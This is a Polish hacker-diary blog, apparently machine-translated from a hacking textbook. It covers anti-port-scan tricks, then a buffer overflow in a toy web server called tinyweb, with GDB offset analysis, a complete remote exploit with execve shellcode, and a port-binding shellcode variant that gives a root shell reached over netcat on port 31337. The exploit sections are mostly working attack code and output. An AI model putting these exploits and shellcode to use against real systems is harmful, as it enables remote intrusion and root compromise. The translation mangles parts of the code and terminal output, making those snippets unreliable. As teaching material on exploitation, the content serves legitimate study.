Z Pamiętniczka Młodego Hackerkachacker.pl



Drogi Pamiętniczku …



01.09.2020

Ochrona proaktywna (shoud)

Skanowanie portów jest często używane do profilowania systemów przed ich atakiem. Znajomość otwartych portów pozwala atakującemu określić, które usługi mogą zostać zaatakowane. Wiele systemów IDS oferuje metody wykrywania skanów portów, ale do tego czasu informacje zostały już ujawnione. Pisząc ten rozdział, zastanawiałem się, czy możliwe jest zapobieganie skanowaniu portów przed ich faktycznym wystąpieniem. Hackowanie polega przede wszystkim na wymyślaniu nowych pomysłów, dlatego zaprezentowana zostanie nowo opracowana metoda proaktywnej obrony przed skanowaniem portów. Przede wszystkim skanowaniu FIN, Null i X-mas można zapobiec poprzez prostą modyfikację jądra. Jeśli jądro nigdy nie wysyła pakietów resetowania, te skany nic nie pokażą. Poniższe dane wyjściowe używają grep do znalezienia kodu jądra odpowiedzialnego za wysyłanie pakietów resetowania.



reader@hacking:~/booksrc $ grep -n -A 20 "void.*send_reset" /usr/src/linux/net/ipv4/

tcp_ipv4.c

547:static void tcp_v4_send_reset(struct sock *sk, struct sk_buff *skb)

548-{

549- struct tcphdr *th = skb->h.th;

550- struct {

551- struct tcphdr th;

552-#ifdef CONFIG_TCP_MD5SIG

553- __be32 opt[(TCPOLEN_MD5SIG_ALIGNED >> 2)];

554-#endif

555- } rep;

556- struct ip_reply_arg arg;

557-#ifdef CONFIG_TCP_MD5SIG

558- struct tcp_md5sig_key *key;

559-#endif

560-

return; // Modification: Never send RST, always return.

561- /* Never send a reset in response to a reset. */

562- if (th->rst)

563- return;

564-

565- if (((struct rtable *)skb->dst)->rt_type != RTN_LOCAL)

566- return;

567-

reader@hacking:~/booksrc $

Dodając polecenie return (pokazane powyżej pogrubioną czcionką), funkcja jądra tcp_v4_send_reset () po prostu zwróci zamiast wykonywać cokolwiek. Po ponownej kompilacji jądra wynikowe jądro nie wysyła pakietów resetowania, unikając wycieku informacji.

FIN Scan przed modyfikacją jądra

matrix@euclid:~ $ sudo nmap -T5 -sF 192.168.42.72

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-03-17 16:58 PDT

Interesting ports on 192.168.42.72:

Not shown: 1678 closed ports

PORT STATE SERVICE

22/tcp open|filtered ssh

80/tcp open|filtered http

MAC Address: 00:01:6C:EB:1D:50 (Foxconn)

Nmap finished: 1 IP address (1 host up) scanned in 1.462 seconds

matrix@euclid:~ $

FIN Scan Po modyfikacji jądra

matrix@euclid:~ $ sudo nmap -T5 -sF 192.168.42.72

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-03-17 16:58 PDT

Interesting ports on 192.168.42.72:

Not shown: 1678 closed ports

PORT STATE SERVICE

MAC Address: 00:01:6C:EB:1D:50 (Foxconn)

Nmap finished: 1 IP address (1 host up) scanned in 1.462 seconds

matrix@euclid:~ $

Działa to dobrze w przypadku skanów opartych na pakietach RST, ale zapobieganie wyciekowi informacji przy skanowaniu SYN i skanowaniu fullconnect jest nieco trudniejsze. Aby utrzymać funkcjonalność, otwarte porty muszą odpowiadać pakietami SYN / ACK - nie ma sposobu na to. Gdyby jednak wszystkie zamknięte porty odpowiedziały pakietami SYN / ACK, ilość użytecznych informacji, które atakujący mógłby uzyskać ze skanowań portów, byłaby zminimalizowana. Samo otwarcie każdego portu spowodowałoby jednak znaczny spadek wydajności, co nie jest pożądane. W idealnej sytuacji powinno się to odbywać bez użycia stosu TCP. Następujący program robi dokładnie to. Jest to modyfikacja programu rst_hijack.c, wykorzystująca bardziej złożony łańcuch BPF do filtrowania tylko pakietów SYN przeznaczonych dla zamkniętych portów. Funkcja wywołania zwrotnego podszywa uzasadnioną szukającą odpowiedź SYN / ACK na dowolny pakiet SYN, który przechodzi przez BPF. Spowoduje to zalanie skanerów portów morzem fałszywych alarmów, które ukryją legalne porty.

shroud.c

#include < libnet.h >

#include < pcap.h >

#include "hacking.h"

#define MAX_EXISTING_PORTS 30

void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);

int set_packet_filter(pcap_t *, struct in_addr *, u_short *);

struct data_pass {

int libnet_handle;

u_char *packet;

};

int main(int argc, char *argv[]) {

struct pcap_pkthdr cap_header;

const u_char *packet, *pkt_data;

pcap_t *pcap_handle;

char errbuf[PCAP_ERRBUF_SIZE]; // Same size as LIBNET_ERRBUF_SIZE

char *device;

u_long target_ip;

int network, i;

struct data_pass critical_libnet_data;

u_short existing_ports[MAX_EXISTING_PORTS];

if((argc < 2) || (argc > MAX_EXISTING_PORTS+2)) {

if(argc > 2)

printf("Limited to tracking %d existing ports.\n", MAX_EXISTING_PORTS);

else

printf("Usage: %s [existing ports...]\n", argv[0]);

exit(0);

}

target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);

if (target_ip == -1)

fatal("Invalid target address");

for(i=2; i < argc; i++)

existing_ports[i-2] = (u_short) atoi(argv[i]);

existing_ports[argc-2] = 0;

device = pcap_lookupdev(errbuf);

if(device == NULL)

fatal(errbuf);

pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);

if(pcap_handle == NULL)

fatal(errbuf);

critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW);

if(critical_libnet_data.libnet_handle == -1)

libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run

as root.\n");

libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet));

if (critical_libnet_data.packet == NULL)

libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");

libnet_seed_prand();

set_packet_filter(pcap_handle, (struct in_addr *)&target_ip, existing_ports);

pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data);

pcap_close(pcap_handle);

}

/* Sets a packet filter to look for established TCP connections to target_ip */

int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip, u_short *ports) {

struct bpf_program filter;

char *str_ptr, filter_string[90 + (25 * MAX_EXISTING_PORTS)];

int i=0;

sprintf(filter_string, "dst host %s and ", inet_ntoa(*target_ip)); // Target IP

strcat(filter_string, "tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack = 0");

if(ports[0] != 0) { // If there is at least one existing port

str_ptr = filter_string + strlen(filter_string);

if(ports[1] == 0) // There is only one existing port

sprintf(str_ptr, " and not dst port %hu", ports[i]);

else { // Two or more existing ports

sprintf(str_ptr, " and not (dst port %hu", ports[i++]);

while(ports[i] != 0) {

str_ptr = filter_string + strlen(filter_string);

sprintf(str_ptr, " or dst port %hu", ports[i++]);

}

strcat(filter_string, ")");

}

}

printf("DEBUG: filter string is \'%s\'\n", filter_string);

if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1)

fatal("pcap_compile failed");

if(pcap_setfilter(pcap_hdl, &filter) == -1)

fatal("pcap_setfilter failed");

}

void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char

*packet) {

u_char *pkt_data;

struct libnet_ip_hdr *IPhdr;

struct libnet_tcp_hdr *TCPhdr;

struct data_pass *passed;

int bcount;

passed = (struct data_pass *) user_args; // Pass data using a pointer to a struct

IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H);

TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H);

libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header

IPTOS_LOWDELAY, // IP tos

libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)

0, // Frag stuff

libnet_get_prand(LIBNET_PR8), // TTL (randomized)

IPPROTO_TCP, // Transport protocol

*((u_long *)&(IPhdr->ip_dst)), // Source IP (pretend we are dst)

*((u_long *)&(IPhdr->ip_src)), // Destination IP (send back to src)

NULL, // Payload (none)

0, // Payload length

passed->packet); // Packet header memory

libnet_build_tcp(htons(TCPhdr->th_dport),// Source TCP port (pretend we are dst)

htons(TCPhdr->th_sport), // Destination TCP port (send back to src)

htonl(TCPhdr->th_ack), // Sequence number (use previous ack)

htonl((TCPhdr->th_seq) + 1), // Acknowledgement number (SYN's seq # + 1)

TH_SYN | TH_ACK, // Control flags (RST flag set only)

libnet_get_prand(LIBNET_PRu16), // Window size (randomized)

0, // Urgent pointer

NULL, // Payload (none)

0, // Payload length

(passed->packet) + LIBNET_IP_H);// Packet header memory

if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)

libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");

bcount = libnet_write_ip(passed->libnet_handle, passed->packet,

LIBNET_IP_H+LIBNET_TCP_H);

if (bcount < LIBNET_IP_H + LIBNET_TCP_H)

libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.");

printf("bing!\n");

}

W powyższym kodzie jest kilka trudnych części, ale powinieneś być w stanie śledzić wszystko. Gdy program zostanie skompilowany i uruchomiony, przesłoni adres IP podany jako pierwszy argument, z wyjątkiem listy istniejących portów podanych jako pozostałe argumenty.

reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o shroud shroud.c -lnet -lpcap

reader@hacking:~/booksrc $ sudo ./shroud 192.168.42.72 22 80

DEBUG: filter string is 'dst host 192.168.42.72 and tcp[tcpflags] & tcp-syn != 0 and

tcp[tcpflags] & tcp-ack = 0 and not (dst port 22 or dst port 80)'

Podczas gdy shroud jest uruchomiony, wszelkie próby skanowania portu pokażą, że każdy port jest otwarty.

matrix@euclid:~ $ sudo nmap -sS 192.168.0.189

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Interesting ports on (192.168.0.189):

Port State Service

1/tcp open tcpmux

2/tcp open compressnet

3/tcp open compressnet

4/tcp open unknown

5/tcp open rje

6/tcp open unknown

7/tcp open echo

8/tcp open unknown

9/tcp open discard

10/tcp open unknown

11/tcp open systat

12/tcp open unknown

13/tcp open daytime

14/tcp open unknown

15/tcp open netstat

16/tcp open unknown

17/tcp open qotd

18/tcp open msp

19/tcp open chargen

20/tcp open ftp-data

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

24/tcp open priv-mail

25/tcp open smtp

[ output trimmed ]

32780/tcp open sometimes-rpc23

32786/tcp open sometimes-rpc25

32787/tcp open sometimes-rpc27

43188/tcp open reachout

44442/tcp open coldfusion-auth

44443/tcp open coldfusion-auth

47557/tcp open dbbrowse

49400/tcp open compaqdiag

54320/tcp open bo2k

61439/tcp open netprowler-manager

61440/tcp open netprowler-manager2

61441/tcp open netprowler-sensor

65301/tcp open pcanywhere

Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds

matrix@euclid:~ $

Jedyną faktycznie uruchomioną usługą jest ssh na porcie 22, ale jest ona ukryta w morzu fałszywych alarmów. Dedykowany napastnik może po prostu telnetować się do każdego portu w celu sprawdzenia banerów, ale ta technika może być łatwo rozszerzona na fałszywe banery.

Powrót

02.09.2020

Sięgnij i włam do kogoś

Programowanie sieciowe ma tendencję do przesuwania wielu fragmentów pamięci wokół i jest ciężkie w typowaniu. Sam widziałeś, a ponieważ wiele programów sieciowych musi działać jako root, te małe błędy mogą stać się krytycznymi lukami.

hacking-network.h

/ * Ta funkcja akceptuje gniazdo FD i ptr do miejsca docelowego

* bufor. Otrzyma z gniazda aż do bajtu EOL

* sekwencja widoczna. Bajty EOL są odczytywane z gniazda, ale

* bufor docelowy jest zakończony przed tymi bajtami.

* Zwraca rozmiar linii odczytu (bez bajtów EOL).

* /

int recv_line (int sockfd, unsigned char * dest_buffer) {

#define EOL "r" // Sekwencja bajtów końca linii

#define EOL_SIZE 2

unsigned char * ptr;

int eol_matched = 0;

ptr = dest_buffer;

while (recv (sockfd, ptr, 1, 0) == 1) {// Odczytaj pojedynczy bajt.

if (* ptr == EOL [eol_matched]) {// Czy ten bajt pasuje do terminatora?

eol_matched ++;

if (eol_matched == EOL_SIZE) {// Jeśli wszystkie bajty pasują do terminatora,

* (ptr + 1-EOL_SIZE) = '0'; // kończ ciąg.

return strlen (dest_buffer); // Zwrot odebranych bajtów.

}

} else {

eol_matched = 0;

}

ptr ++; // Zwiększ wskaźnik do następnego bajtu.

}

powrót 0; // Nie znalazłem znaków końca linii.

}

Funkcja recv_line() w hacking-network.h ma mały błąd pominięcia - nie ma kodu ograniczającego długość. Oznacza to, że program serwera tinyweb i wszelkie inne programy korzystające z tej funkcji są narażone na atak.

Powrót

03.09.2020

Analiza za pomocą GDB

Aby wykorzystać lukę w programie tinyweb.c, musimy wysłać pakiety, które strategicznie zastąpią powrót do przechowywanego adresu zwrotnego. Korzystając z GDB, możemy przeanalizować skompilowany program, aby go znaleźć; istnieją jednak pewne subtelne przywileje, więc debuger musi być uruchomiony jako root. Ale używanie sudo lub uruchamianie ze środowiskiem roota zmieni stos, co oznacza adresy, gdy działa normalnie. Istnieją inne drobne różnice, które mogą przesuwać pamięć w debuggerze, jak debugger, wszystko będzie wyglądało tak, jak powinno działać; jednak exploit kończy się niepowodzeniem, gdy działa poza debuggerem, ponieważ adresy Jednym z eleganckich rozwiązań tego problemu jest dołączenie do procesu po jego uruchomieniu. W danych wyjściowych poniżej używany jest terminal GDB. Źródło jest ponownie kompilowane przy użyciu opcji -g, aby dołączyć symbole debugowania, które GDB może zastosować do uruchomionego

reader@hacking:~/booksrc $ ps aux | grep tinyweb

root 13019 0.0 0.0 1504 344 pts/0 S+ 20:25 0:00 ./tinyweb

reader 13104 0.0 0.0 2880 748 pts/2 R+ 20:27 0:00 grep tinyweb

reader@hacking:~/booksrc $ gcc -g tinyweb.c

reader@hacking:~/booksrc $ sudo gdb -q --pid=13019 --symbols=./a.out

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

Attaching to process 13019

/cow/home/reader/booksrc/tinyweb: No such file or directory.

A program is being debugged already. Kill it? (y or n) n

Program not killed.

(gdb) bt

#0 0xb7fe77f2 in ?? ()

#1 0xb7f691e1 in ?? ()

#2 0x08048ccf in main () at tinyweb.c:44

(gdb) list 44

39 if (listen(sockfd, 20) == -1)

40 fatal("listening on socket");

41

42 while(1) { // Accept loop

43 sin_size = size of(struct sockaddr_in);

44 new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

45 if(new_sockfd == -1)

46 fatal("accepting connection");

47

48 handle_connection(new_sockfd, &client_addr);

(gdb) list handle_connection

53 /* This function handles the connection on the passed socket from the

54 * passed client address. The connection is processed as a web request

55 * and this function replies over the connected socket. Finally, the

56 * passed socket is closed at the end of the function.

57 */

58 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {

59 unsigned char *ptr, request[500], resource[500];

60 int fd, length;

61

62 length =

(1)

recv_line(sockfd, request);

(gdb) break 62

Breakpoint 1 at 0x8048d02: file tinyweb.c, line 62.

(gdb) cont

Continuing.

Po dołączeniu do uruchomionego procesu śledzenie stosu pokazuje, że program jest obecnie w main (), czekając na połączenie. program może kontynuować. W tym momencie wykonanie programu musi zostać rozwinięte, tworząc żądanie WWW przy użyciu metody handle_connection ().

Breakpoint 2, handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62

62 length = recv_line(sockfd, request);

(gdb) x/x request

0xbffff5c0: 0x00000000

(gdb) bt

#0 handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62

#1 0x08048cf6 in main () at tinyweb.c:48

(gdb) x/16xw request+500

0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848

0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0

0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048cf6 0x00000004

0xbffff7e4: 0xbffff810 0xbffff80c 0xbffff834 0x00000004

(gdb) x/x 0xbffff7d4+8

(2)

0xbffff7dc: 0x08048cf6

(gdb) p 0xbffff7dc - 0xbffff5c0

$1 = 540

(gdb) p /x 0xbffff5c0 + 200

$2 = 0xbffff688

(gdb) quit

The program is running. Quit anyway (and detach it)? (y or n) y

Detaching from program: , process 13019

reader@hacking:~/booksrc $

W punkcie przerwania bufor żądania zaczyna się od 0xbfffff5c0. Śledzenie stosu komendy bt pokazuje, że zmienne adresu zwrotnego są ogólnie rozmieszczone na stosie, wiemy, że bufor żądania znajduje się w pobliżu końca ramki. Oznacza to, że zapisany bufor bajtowy. Ponieważ znamy już obszar ogólny do sprawdzenia, szybka inspekcja pokazuje, że przechowywany adres zwrotny to 0xbffff7dc, czyli początek bufora żądań. Jednak w pobliżu bufora znajduje się kilka bajtów, które mogą zostać zniekształcone przez zwracane funkcje. Aby to wyjaśnić, najlepiej unikać początku bufora. Pomijanie pierwszych 200 bajtów powinno oznaczać, że 0xbffff688 jest docelowym adresem zwrotnym.

Powrót

04.09.2020

Prawie tylko liczy się z granatami ręcznymi

Poniższy exploit dla programu tinyweb używa wartości nadpisywania przesunięcia i adresu zwrotnego obliczonych za pomocą GDB. Wypełnia się zakończeniem zerowym. Następnie wypełnia pierwsze 540 bajtów instrukcjami NOP. To buduje sanki NOP i wypełnia bufor aż do końca linii 'r'.

tinyweb_exploit.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

#include < sys/socket.h >

#include < netinet/in.h >

#include < arpa/inet.h >

#include < netdb.h >

#include "hacking.h"

#include "hacking-network.h"

char shellcode[]=

"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"

"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"

"\xe1\xcd\x80"; // Standard shellcode

#define OFFSET 540

#define RETADDR 0xbffff688

int main(int argc, char *argv[]) {

int sockfd, buflen;

struct hostent *host_info;

struct sockaddr_in target_addr;

unsigned char buffer[600];

if(argc < 2) {

printf("Usage: %s < hostname >\n", argv[0]);

exit(1);

}

if((host_info = gethostbyname(argv[1])) == NULL)

fatal("looking up hostname");

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)

fatal("in socket");

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(80);

target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);

memset(&(target_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)

fatal("connecting to target server");

bzero(buffer, 600); // Zero out the buffer.

memset(buffer, '\x90', OFFSET); // Build a NOP sled.

*((u_int *)(buffer + OFFSET)) = RETADDR; // Put the return address in

memcpy(buffer+300, shellcode, strlen(shellcode)); // shellcode.

strcat(buffer, "\r\n"); // Terminate the string.

printf("Exploit buffer:\n");

dump(buffer, strlen(buffer)); // Show the exploit buffer.

send_string(sockfd, buffer); // Send exploit buffer as an HTTP request.

exit(0);

}

Kiedy ten program jest skompilowany, może zdalnie wykorzystać hosty, na których działa program tinyweb, próbując uruchomić kod powłoki. wysyła go. W poniższym wyjściu program tinyweb jest uruchamiany w innym terminalu, a exploit jest testowany na jego podstawie. Oto widok kodu:

reader@hacking:~/booksrc $ gcc tinyweb_exploit.c

reader@hacking:~/booksrc $ ./a.out 127.0.0.1

Exploit buffer:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 31 c0 31 db | ............1.1.

31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 2f 2f 73 68 | 1......j.XQh//sh

68 2f 62 69 6e 89 e3 51 89 e2 53 89 e1 cd 80 90 | h/bin..Q..S.....

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................

0d 0a | ..

reader@hacking:~/booksrc $

Po powrocie do terminala z programem tinyweb na wyjściu wyświetlany jest bufor exploitów i wykonywany jest kod powłoki. Niestety nie jesteśmy przy konsoli, więc to nam nie pomoże. Na konsoli serwera widzimy:

reader@hacking:~/booksrc $ ./tinyweb

Accepting web requests on port 80

Got request from 127.0.0.1:53908 "GET / HTTP/1.1"

Opening './webroot/index.html' 200 OK

Got request from 127.0.0.1:40668 "GET /image.jpg HTTP/1.1"

Opening './webroot/image.jpg' 200 OK

Got request from 127.0.0.1:58504

Luka z pewnością istnieje, ale kod powłoki nie robi w tym przypadku tego, co chcemy. Ponieważ nie jesteśmy przy konsoli, shellcode otwiera powłokę. Po opanowaniu wskaźnika wykonania programu wstrzyknięty kod powłoki może zrobić wszystko. Istnieje wiele ładunków). Nawet jeśli nie cały kod powłoki rzeczywiście tworzy powłokę, nadal jest powszechnie nazywany kodem powłoki

Powrót

05.09.2020

Kod powłoki wiążący port

Wykorzystując zdalny program, lokowanie powłoki lokalnie jest bezcelowe. Wiążący port kod powłoki nasłuchuje gotowego kodu powłoki wiążącego port TCP, użycie go jest po prostu kwestią zastąpienia bajtów powłoki zdefiniowanych w exploicie. Bajty wiążące port są pokazane na wyjściu poniżej.



reader@hacking:~/booksrc $ wc -c portbinding_shellcode

92 portbinding_shellcode

reader@hacking:~/booksrc $ hexdump -C portbinding_shellcode

00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|

00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.|

00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....|

00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?|

00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b|

00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....|

0000005c

reader@hacking:~/booksrc $ od -tx1 portbinding_shellcode | cut -c8-80 | sed -e 's/ /\\x/g'

\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80

\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10

\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80

\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f

\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62

\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80

reader@hacking:~/booksrc $

Po szybkim formatowaniu bajty te są zamieniane na bajt powłoki w programie tinyweb_exploit.c, co powoduje 4.8.4.1. Nowa linia z tinyweb_exploit2.c

char shellcode[]=

"\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"

"\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10"

"\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80"

"\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f"

"\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"

"\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

// Port-binding shellcode on port 31337

Kiedy ten exploit jest skompilowany i uruchamiany na hoście z uruchomionym serwerem tinyweb, kod powłoki nasłuchuje na porcie 31337 w celu nawiązania połączenia TCP. muszla. Ten program to netcat (w skrócie nc), który działa jak ten program cat, ale w sieci. Nie możemy po prostu użyć wyjścia telnet z tego exploita pokazanego poniżej. Opcja wiersza polecenia -vv przekazana do netcat jest po prostu bardziej szczegółowa.

reader@hacking:~/booksrc $ gcc tinyweb_exploit2.c

reader@hacking:~/booksrc $ ./a.out 127.0.0.1

Exploit buffer:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................



90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 6a 66 58 99 | ............ jfX.

31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 | 1.CRj.j ...... jfX

43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | CRfhzifS..j.QV ..

cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ... fCCSV ..... fCR

52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV ..... j.Y.?Yy

f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | ... Rh // shh / bin ..

52 89 e2 53 89 e1 cd 80 90 90 90 90 90 90 90 90 | R..S ............

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ <

br>
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................

0d 0a | ..

reader@ hacking: ~ / booksrc $ nc -vv 127.0.0.1 31337

localhost [127.0.0.1] 31337 (?) otwarte

kim jestem

korzeń

ls -l / etc / passwd

-rw-r - r-- 1 root root 1545 9 września 16:24 / etc / passwd

Nawet jeśli zdalna powłoka nie wyświetla monitu, nadal przyjmuje polecenia i zwraca dane wyjściowe przez sieć. Program taki jak netcat może być używany do wielu innych rzeczy. Został zaprojektowany tak, aby działał jak program konsoli, zezwalając na standardowy kod powłoki wejściowej w pliku, ten sam exploit można wykonać w wierszu poleceń.

reader@ hacking: ~ / booksrc $ wc -c portbinding_shellcode

92 portbinding_shellcode

reader@ hacking: ~ / booksrc $ echo $ ((540 + 4 - 300 - 92))

152

reader@ hacking: ~ / booksrc $ echo $ ((152/4))

38

reader@ hacking: ~ / booksrc $ (perl -e 'print "x90" x300 ";

> cat portbinding_shellcode

> perl -e 'print' 88 xf6 xff xbf "x38. r "")

